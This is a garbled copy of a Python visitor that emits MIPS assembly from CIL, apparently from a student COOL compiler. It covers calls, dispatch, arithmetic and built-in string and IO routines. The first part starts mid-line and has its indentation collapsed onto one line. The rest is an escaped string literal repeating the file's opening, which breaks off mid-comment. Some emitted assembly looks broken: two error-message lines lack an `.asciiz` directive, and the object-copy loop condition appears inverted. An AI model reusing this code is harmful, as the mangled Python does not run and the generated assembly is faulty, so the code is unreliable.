4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') # Save return address and frame pointer self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == "_": # If node.type is a local CIL variable self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: # If node.type a type name self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') # Check the dispatch table for the method's address self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') # Call the function at 0($a0) self.write_file(f'jalr $a0') # Restore return address and frame pointer self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') # Save value after restoring $fp self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') # Check prototypes table for the dynamic type if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != "_": self.write_file('li $a0, {}'.format(self.type_index.index(node.name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) ################################# JUMPS ###################################### @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) @visitor.when(cil.Goto) def visit(self, node: cil.Goto): self.write_file('# GOTO') self.write_file('j _cil_label_{}'.format(node.label)) self.write_file('') @visitor.when(cil.IfGoto) def visit(self, node: cil.IfGoto): self.write_file('# IF GOTO') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition])) self.write_file('bnez $a0, _cil_label_{}'.format(node.label)) self.write_file('') ############################## STATIC CODE ################################### #----- STATIC DATAs def static_datas(self): # Buffer for reading strings self.write_file('str_buffer: .space 1025') self.write_file('') # Declare error mensages self.write_file('_index_negative_msg: .asciiz \"Index to substr is negative\\n\"') self.write_file('_index_out_msg: .asciiz \"Index out range exception\\n\"') self.write_file('_abort_msg: \"Execution aborted\\n\"') self.write_file('_div_zero_msg: \"Division by zero exception\\n\"') self.write_file('') #----- ENTRY FUNCTION def entry(self): self.write_file('entry:', tabbed=False) self.visit(cil.Call(dest = None, f = 'build_class_name_table')) self.visit(cil.Call(dest = None, f = 'allocate_prototypes_table')) self.visit(cil.Call(dest = None, f = 'build_prototypes')) self.visit(cil.Call(dest = None, f = 'build_dispatch_tables')) self.visit(cil.Call(dest = None, f = 'build_class_parents_table')) self.visit(cil.Allocate(dest = None, ttype = 'Main')) # Push main self self.write_file('sw $v0 0($sp)') self.write_file('addiu $sp $sp -4') self.visit(cil.Call(dest = None, f = f'Main_{INIT_CIL_SUFFIX}')) self.write_file('addiu $sp $sp 4') # Push main self self.write_file('sw $v0 0($sp)') self.write_file('addiu $sp $sp -4') self.visit(cil.Call(dest = None, f = 'Main_main')) self.write_file('addiu $sp $sp 4') self.write_file('li $v0 10') self.write_file('syscall') #----- OBJECT METHODS def object_abort(self): self.write_file('function_Object_abort:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('jr $ra') self.write_file('') def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)')# recoger la instancia a copiar self.write_file('lw $a0 4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall')# guarda en v0 la direccion de memoria que se reservo self.write_file('move $t2 $v0')# salvar la direccion donde comienza el objeto self.write_file('li $t3 0') # size ya copiado self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') # cargar la palabra por la que voy self.write_file('sw $t1 0($v0)') # copiar la palabra self.write_file('addiu $t0 $t0 4') # posiciona el puntero en la proxima palabra a copiar self.write_file('addiu $v0 $v0 4') # posiciona el puntero en la direccion donde copiar la proxima palabra self.write_file('addiu $t3 $t3 4') # actualizar el size copiado self.write_file('ble $t4 $t3 _objcopy_loop') # verificar si la condicion es igual o menor igual self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') # dejar en v0 la direccion donde empieza el nuevo objeto self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') # Box the string reference self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('move $v1 $v0') # Box string's length self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS) ) # Create new Int object self.write_file('lw $a1 12($fp)') # self self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') # self's class tag self.write_file('addu $a1 $a1 $s1') # class name table entry address self.write_file('lw $a1 0($a1)') # Get class name address self.write_file('move $a2 $0') # Compute string's length self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') # Store string's length self.write_file('sw $v0, 12($v1)') # Fill String attributes self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') #----- STRING METHODS def string_length(self): self.write_file('function_String_length:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') # Self self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object self.write_file('move $v1 $v0') # Save new Int Object self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('move $t3 $v0') # Store new String object self.write_file('lw $a1 12($fp)') # Self self.write_file('lw $a2 16($fp)') # Boxed String to concat self.write_file('lw $t1 12($a1)') # Self's length Int object self.write_file('lw $t1 12($t1)') # Self's length self.write_file('lw $t2 12($a2)') # strings to concat's length Int object self.write_file('lw $t2 12($t2)') # strings to concat's length self.write_file('addu $t0 $t2 $t1') # New string's length self.write_file('sw $t0 12($v1)') # Store new string's length into box self.write_file('lw $a1 16($a1)') # Unbox strings self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') # Add space for \0 self.allocate_memory('$t0', register=True) # Allocate memory for new string self.write_file('move $t5 $v0') # Keep the string's reference in v0 and use t7 # a1: self's string a2: 2nd string t1: length self t2: 2nd string length # v1: new string's int object self.write_file('move $t4 $a1') # Index for iterating the self string self.write_file('addu $a1 $a1 $t1') # self's copy limit self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) # Copy 2nd string self.write_file('move $t4 $a2') # Index for iterating the strings self.write_file('addu $a2 $a2 $t2') # self's copy limit self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') # End string with \0 # $v0: reference to new string $v1: length int object # $t3: new string object # -> Create boxed string self.write_file('sw $v1 12($t3)') # New length self.write_file('sw $v0 16($t3)') # New string self.write_file('move $v0 $t3') # Return new String object in $v0 self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') # self param self.write_file(f'lw $a1 16($fp)') # reference of object int that represent i self.write_file(f'lw $a1 12($a1)') # value of i self.write_file(f'lw $a2 20($fp)') # reference of object int that represent j self.write_file(f'lw $a2 12($a2)') # value of j that is length to copy self.write_file(f'blt $a1 $0 _index_negative') # index i is negative self.write_file(f'blt $a2 $0 _index_negative') # length j is negative self.write_file(f'add $a2 $a1 $a2') # finish index self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') # length of string self.write_file(f'bgt $a2 $a3 _index_out') # j > lenght # not errors self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) self.write_file(f'move $v1 $v0') # new string self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) self.write_file(f'move $t0 $v0') # lenght of string self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') # save number that represent lenght of new string self.allocate_memory('$a2', register=True) # $v0 -> address of the string self.write_file(f'sw $t0 12($v1)') # store length self.write_file(f'sw $v0 16($v1)') # store address of new string to String object # generate substring self.write_file('move $t1 $v0') # Index for iterating the new string self.write_file('lw $t5 16($t5)') # Index for iterating the self string self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') # self's copy start self.write_file('addu $t5 $t5 $a2') # self's copy limit self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') # No more characters to copy self.write_file('lb $a0 0($t4)') # Copy the character self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') # Advance indices self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') # errors sections self.write_file(f'_index_negative:',tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:',tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') # abort execution self.write_file(f'_subst_abort:',tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la $a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') # exit # successful execution self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') #----- IO def io_in_int(self): self.write_file('function_IO_in_int:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object self.write_file('move $t0 $v0') # Save Int object self.write_file('li $v0 5') # Read int self.write_file('syscall') self.write_file('sw $v0 12($t0)') # Store int self.write_file('move $v0 $t0') self.write_file('jr $ra') self.write_file('') def io_in_string(self): self.write_file('function_IO_in_string:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = INTEGER_CLASS)) # Create new Int object for string's length self.write_file('move $v1 $v0') # $v1: Int pbject self.visit(cil.Allocate(dest = None, ttype = STRING_CLASS)) # Create new String object self.write_file('sw $v1 12($v0)') self.write_file('move $t5 $v0') # $t5: String object # Read String and store in a temp buffer self.write_file('la $a0 str_buffer') self.write_file('li $a1 1025') self.write_file('li $v0 8') # Read string self.write_file('syscall') # Compute string's length self.write_file('move $a0 $0') self.write_file('la $t2 str_buffer') self.write_file('_in_string_str_len_:', tabbed=False) self.write_file('lb $t0 0($t2)') self.write_file('beq $t0 $0 _end_in_string_str_len_') self.write_file('beq $t0 10 _end_in_string_str_len_') self.write_file('addiu $a0 $a0 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _in_string_str_len_') self.write_file('_end_in_string_str_len_:', tabbed=False) # Store string's length into Integer class self.write_file('sw $a0 12($v1)') # Allocate size in $a0 ... string's length self.allocate_memory() # $a0: string's length $v0: string's new address $t5: String object # Copy string from buffer to new address self.write_file('la $t4 str_buffer') # Index for iterating the string buffer self.write_file('move $t1 $v0') # Index for iterating new string address self.write_file('_in_str_copy_:', tabbed=False) self.write_file('lb $t0 0($t4)') # Load a character self.write_file('beq $t0 $0 _end_in_str_copy_') # No more characters to copy self.write_file('beq $t0 10 _end_in_str_copy_') # No more characters to copy self.write_file('sb $t0 0($t1)') # Copy the character self.write_file('addiu $t4 $t4 1') # Advance indices self.write_file('addiu $t1 $t1 1') self.write_file('j _in_str_copy_') self.write_file('_end_in_str_copy_:', tabbed=False) # Store string self.write_file('sw $v0 16($t5)') # Clean string buffer self.write_file('la $t4 str_buffer') # Index for iterating the string buffer self.write_file('_in_str_clean_:', tabbed=False) self.write_file('lb $t0 0($t4)') # Load a character self.write_file('beq $t0 $0 _end_in_str_clean_') # No more characters to clean self.write_file('sb $0 0($t4)') # Clean the character self.write_file('addiu $t4 $t4 1') # Advance indices self.write_file('j _in_str_clean_') self.write_file('_end_in_str_clean_:', tabbed=False) # Return new string in $v0 self.write_file('move $v0 $t5') self.write_file('jr $ra') self.write_file('') def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') # Get Int object self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') # Print int self.write_file('syscall') self.write_file('lw $v0 12($fp)') # Return self self.write_file('jr $ra') self.write_file('') def io_out_string(self): self.write_file('function_IO_out_string:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') # Get String object self.write_file('lw $a0 16($a0)') self.write_file('li $v0 4') # Print string self.write_file('syscall') self.write_file('lw $v0 12($fp)') # Return self self.write_file('jr $ra') self.write_file('') #------ CONFORMS def conforms(self): self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'lw $t0 12($fp)') # First arg's class tag self.write_file(f'lw $t1 16($fp)') # Second arg's class tag # 2nd arg == Object -> return true self.write_file(f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_') self.write_file('_conforms_loop_:', tabbed=False) # current == 2nd arg -> return true self.write_file('beq $t0 $t1 _conforms_ret_true_') # current == Object -> return false self.write_file(f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_') # Query parents's class tag from $s2 ... class parent table self.write_file('mulu $t0 $t0 4') self.write_file('addu $t0 $t0 $s2') self.write_file('lw $t0 0($t0)') # current = current.parent self.write_file('j _conforms_loop_') self.write_file('_conforms_ret_true_:', tabbed=False) self.write_file('li $v0 1') self.write_file('j _conforms_ret_') self.write_file('_conforms_ret_false_:', tabbed=False) self.write_file('li $v0 0') # No need to store result in a Bool class self.write_file('_conforms_ret_:') self.write_file('jr $ra') self.write_file('') #------ ISVOID def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest = None, ttype = BOOLEAN_CLASS)) # $v0 contains new Bool object self.write_file(f'lw $t0 12($fp)') # 1st arg is an object address self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') # arg == void type self.write_file(f'sw $0 12($v0)') # return False self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') # return True self.write_file(f'_is_void_end_:', tabbed=False) # Return Bool object in $v0 self.write_file(f'jr $ra') self.write_file(f'')
[ "\n\"\"\"\nRegisters $v0 and $v1 are used to return values from functions.\nRegisters $t0 – $t9 are caller-saved registers that are used to\nhold temporary quantities that need not be preserved across calls\nRegisters $s0 – $s7 (16–23) are callee-saved registers that hold long-lived\nvalues that should be preserved across calls. They are preserved across calls\nRegister $gp is a global pointer that points to the middle of a 64K block\nof memory in the static data segment. Preserve across calls\nRegister $fp is the frame pointer. Register $fp is saved by every procedure\nthat allocates a new stack frame.Preserve across calls\nRegister $sp is the stack pointer, which points to the last location on\nthe stack(Points to Free Memory). Preserve across calls\nRegister $ra only needs to be saved if the callee itself makes a call.\nRegister $s0 <- Prototypes table\nRegister $s1 <- Class Names table\nRegister $s2 <- Class parents table\n\n0($fp): some local variable\n4(%fp): old $ra\n8(%fp): old $fp\n12(%fp): 1st argument Self\n.....\n\n\tClass Name table layout\noffset 0 - \"Class1\"\noffset 4 - \"Class2\"\noffset 8 - \"Class3\"\n.....\n\n\tPrototypes Table layout\noffset 0 - protObj1\noffset 4 - Obj1_init\noffset 8 - protObj2\noffset 12 - Obj2_init\n.....\n\n\tDispatch Table layout:\noffset 0 - addres of method m0\noffset 1 - addres of method m1\n.....\n\n Prototype layout:\noffset 0 - Class tag : int that identifies the class of the object\noffset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes)\noffset 8 - Dispatch pointer : pointer to the table of virtual methods\noffset 12. . . Attributes\n\"\"\"\n\nimport sys\nsys.path.append('..')\n\nimport commons.cil_ast as cil\nimport commons.visitor as visitor\nfrom commons.settings import *\n\n\n\n\nclass MipsVisitor:\n\t\"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n\tdef __init__(self, inherit_graph, output_file=\"mips_code.mips\"):\n\t\tself.inherit_graph, _ = inherit_graph\n\t\t\n\t\tself.offset = dict()\n\t\tself.type_index = []\n\t\tself.dispatchtable_code = []\n\t\tself.prototypes_code = []\n\t\tself.cur_labels_id = 0\n\n\t\tself.output_file = output_file\n\n\t# ======================================================================\n\t# =[ UTILS ]============================================================\n\t# ======================================================================\n\n\n\tdef push(self):\n\t\tself.write_file('sw $a0 0($sp)')\n\t\tself.write_file('addiu $sp $sp -4')\n\n\tdef pop(self, dest=None):\n\t\tself.write_file(f'addiu $sp $sp 4')\n\n\n\tdef write_file(self, msg, mode = \"a\", tabbed=True):\n\t\tf = open(self.output_file, mode)\n\t\tf.write(\"{}{}\\n\".format(\"\\t\" if tabbed else \"\", msg))\n\t\tf.close()\n\n\tdef allocate_memory(self, size=None, register=False):\n\t\tif register:\n\t\t\tself.write_file('move $a0 {}'.format(size))\n\t\telse:\n\t\t\tif size:\n\t\t\t\tself.write_file('li $a0 {}'.format(size))\n\t\tself.write_file('li $v0 9')\n\t\tself.write_file('syscall')\n\n\tdef new_labels_id(self):\n\t\tself.cur_labels_id += 1\n\t\treturn self.cur_labels_id\n\n\t# ======================================================================\n\n\[email protected]('node')\n\tdef visit(self, node):\n\t\tpass\n\n\n################################ PROGRAM #####################################\n\n\n\[email protected](cil.Program)\n\tdef visit(self, node: cil.Program):\n\t\tself.write_file('', \"w\")\n\n\t\t#-------------------- DATA SECTION ----------------------------\n\n\t\tself.write_file('.data', tabbed = False)\n\n\t\t# Declare static data\n\t\tself.static_datas()\n\n\t\t# Transpile CIL data section\n\t\tfor data in node.data_section:\n\t\t\tself.visit(data)\n\t\tself.write_file('')\n\n\t\t# Declare class name strings and map class index\n\t\tfor i in range(len(node.type_section)):\n\t\t\tself.type_index.append(node.type_section[i].type_name)\n\t\t\tself.write_file('classname_{}: .asciiz \\\"{}\\\"'.format(node.type_section[i].type_name,node.type_section[i].type_name))\n\n\t\t# Declare void type\n\t\tself.write_file(f'{VOID_MIPS_NAME}: .asciiz \\\"\\\"')\n\n\t\t#-------------------- TEXT SECTION ----------------------------\n\n\t\tself.write_file('\\n.text')\n\t\tself.entry()\n\n\t\tself.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n\t\t# CONFORMS\n\t\tself.conforms()\n\t\t# IS_VOID\n\t\tself.isvoid()\n\t\t# OBJECT\n\t\tself.object_abort()\n\t\tself.object_copy()\n\t\tself.object_typename()\n\t\t# STRING\n\t\tself.string_length()\n\t\tself.string_concat()\n\t\tself.string_substr()\n\t\t# IO\n\t\tself.io_in_int()\n\t\tself.io_in_string()\n\t\tself.io_out_int()\n\t\tself.io_out_string()\n\n\t\tfor t in node.type_section:\n\t\t\tself.visit(t)\n\n\t\tself.write_file('\\n############## TABLES ################\\n')\n\n\t\t# Generate method that creates classes's name table\n\t\tself.write_file('function_build_class_name_table:', tabbed=False)\n\t\tself.allocate_memory(len(node.type_section) * 4)\n\t\tself.write_file('move $s1 $v0') # save the address of the table in a register\n\t\tfor i in range(len(node.type_section)):\n\t\t\tself.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name))\n\t\t\tself.write_file('sw $t1 {}($s1)'.format(4 * i))\n\t\tself.write_file('')\n\n\t\t# Generate method that allocates memory for prototypes table\n\t\tself.write_file('function_allocate_prototypes_table:', tabbed=False)\n\t\tself.allocate_memory(8 * len(self.type_index))\n\t\tself.write_file('move $s0 $v0') # save the address of the table in a register\n\t\tself.write_file('')\n\n\t\t# Generate mips method that builds prototypes\n\t\tself.write_file('function_build_prototypes:', tabbed=False)\n\t\tfor ins in self.prototypes_code:\n\t\t\tself.write_file(ins)\n\t\tself.write_file('')\n\n\t\t# Generate mips method that builds dispatch tables\n\t\tself.write_file('function_build_dispatch_tables:', tabbed=False)\n\t\tfor ins in self.dispatchtable_code:\n \t\t\tself.write_file(ins)\n\t\tself.write_file('')\n\t\t\n\t\t# Generate method that builds class parents table\n\t\tself.write_file('function_build_class_parents_table:', tabbed=False)\n\t\tself.allocate_memory(4 * len(self.type_index))\n\t\tself.write_file('move $s2 $v0') # save the address of the table in a register\n\t\tself.write_file('')\n\n\t\t# Fill table entry for each class type\n\t\tfor parent in self.inherit_graph.keys():\n\t\t\tp_index = self.type_index.index(parent)\n\t\t\tfor child in self.inherit_graph[parent]:\n\t\t\t\tch_index = self.type_index.index(child.name)\n\t\t\t\tself.write_file(f'li $t0 {ch_index}')\n\t\t\t\tself.write_file(f'mul $t0 $t0 4')\n\t\t\t\tself.write_file(f'add $t0 $t0 $s2')\n\t\t\t\tself.write_file(f'li $t1 {p_index}')\n\t\t\t\tself.write_file(f'sw $t1 0($t0)')\n\t\t\t\tself.write_file('')\n\n\t\tself.write_file('')\n\n\n\t\t# Generate COOL functions\n\t\tself.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n\t\tfor func in node.code_section:\n\t\t\tis_built_in = False\n\t\t\tif not INIT_CIL_SUFFIX in func.name:\n\t\t\t\tis_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != []\n\t\t\tif not is_built_in:\n\t\t\t\tself.visit(func)\n\t\tself.write_file('\\n#####################################\\n')\n\n\n\n################################ .DATA #######################################\n\n\n\[email protected](cil.Data)\n\tdef visit(self, node: cil.Data):\n\t\tself.write_file(f'{node.dest}: .asciiz \\\"{str(node.value.encode())[2:-1]}\\\"')\n\n\n################################ TYPES #######################################\n\n\n\[email protected](cil.Type)\n\tdef visit(self, node: cil.Type):\n\t\t# Allocate\n\t\tself.dispatchtable_code.append(f'# Type {node.type_name}')\n\t\tself.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods)))\n\t\tself.dispatchtable_code.append('li $v0 9')\n\t\tself.dispatchtable_code.append('syscall')\n\n\t\t# Add dispatch table code\n\t\tfor i in range(len(node.methods)):\n\t\t\tself.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name))\n\t\t\tself.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n\t\tself.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name)))\n\t\tself.dispatchtable_code.append('sw $v0 8($t0)')\n\t\tself.dispatchtable_code.append('')\n\n\t\t# Allocate\n\t\tself.prototypes_code.append(f'# Type {node.type_name}')\n\t\tself.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))\n\t\tself.prototypes_code.append('li $v0 9')\n\t\tself.prototypes_code.append('syscall')\n\n\t\t# Add prototype code\n\t\tclass_index = self.type_index.index(node.type_name)\n\t\tself.prototypes_code.append('li $a0 {}'.format(class_index))\n\t\tself.prototypes_code.append('sw $a0 0($v0)')\n\t\tself.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes)))\n\t\tself.prototypes_code.append('sw $a0 4($v0)')\n\t\tself.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n\t\tself.prototypes_code.append('')\n\n\n\[email protected](cil.Function)\n\tdef visit(self, node: cil.Function):\n\t\tself.write_file(f'function_{node.name}:', tabbed=False)\n\n\t\t# Set up stack frame\n\t\tself.write_file(f'move $fp, $sp')\n\t\tself.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n\n\t\t# Register arguments offsets\n\t\tfor i in range(len(node.args)):\n\t\t\tself.offset[node.args[i].name] = 12 + i * 4\n\n\t\t# Register locals offsets\n\t\tfor i in range(len(node.vlocals)):\n\t\t\tself.offset[node.vlocals[i].name] = i * (-4)\n\n\t\t# Generate mips code for the function's body\n\t\tfor inst in node.body:\n\t\t\t# Equal node needs unique id for its labels\n\t\t\tif isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n\t\t\t\tinst.id = self.new_labels_id()\n\n\t\t\tself.visit(inst)\n\n\t\t# Pop the stack frame\n\t\tself.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n\n\t\t# Return\n\t\tself.write_file('jr $ra')\n\n\t\tself.write_file('')\n\n\n############################## ASSIGNMENT ####################################\n\n\n\[email protected](cil.Assign)\n\tdef visit(self, node: cil.Assign):\n\t\tself.write_file('# ASSIGN')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\n############################# ARITHMETICS ####################################\n\n\n\[email protected](cil.Plus)\n\tdef visit(self, node: cil.Plus):\n\t\tself.write_file('# +')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('add $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Minus)\n\tdef visit(self, node: cil.Minus):\n\t\tself.write_file('# -')\n\t\tif isinstance(node.left, int):\n\t\t\tself.write_file('li $a0 {}'.format(node.left))\n\t\telse:\n\t\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('sub $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Mult)\n\tdef visit(self, node: cil.Mult):\n\t\tself.write_file('# *')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file('mul $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file('')\n\n\[email protected](cil.Div)\n\tdef visit(self, node: cil.Div):\n\t\tself.write_file('# /')\n\t\tself.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file(f'beqz $a1 _div_error_{node.id}_')\n\t\tself.write_file('div $a0, $a0, $a1')\n\t\tself.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n\t\tself.write_file(f'b _div_end_{node.id}_')\n\t\tself.write_file(f'_div_error_{node.id}_:',tabbed=False)\n\t\tself.write_file('la $a0 _div_zero_msg')\n\t\tself.write_file('li $v0 4')\n\t\tself.write_file('syscall')\n\t\tself.write_file('la $a0 _abort_msg')\n\t\tself.write_file('li $v0 4')\n\t\tself.write_file('syscall')\n\t\tself.write_file('li $v0 10')\n\t\tself.write_file('syscall')\n\t\tself.write_file(f'_div_end_{node.id}_:',tabbed=False)\n\n\n############################# COMPARISONS ####################################\n\n\n\[email protected](cil.Equal)\n\tdef visit(self, node: cil.Equal):\n\t\tself.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n\t\tself.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n\t\tself.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void\n\t\tself.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void\n\t\tself.write_file('lw $a0 0($t0)')\t# get object 1 tag\n\t\tself.write_file('lw $a1 0($t1)')\t# get object 2 tag\n\t\tself.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\t# compare tags\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS)))\t# load int tag\n\t\tself.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\t# Integers\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS)))\t# load bool tag\n\t\tself.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\t# Booleans\n\t\tself.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag\n\t\tself.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type\n\n\t\t# equal strings\n\t\t# verify len of the 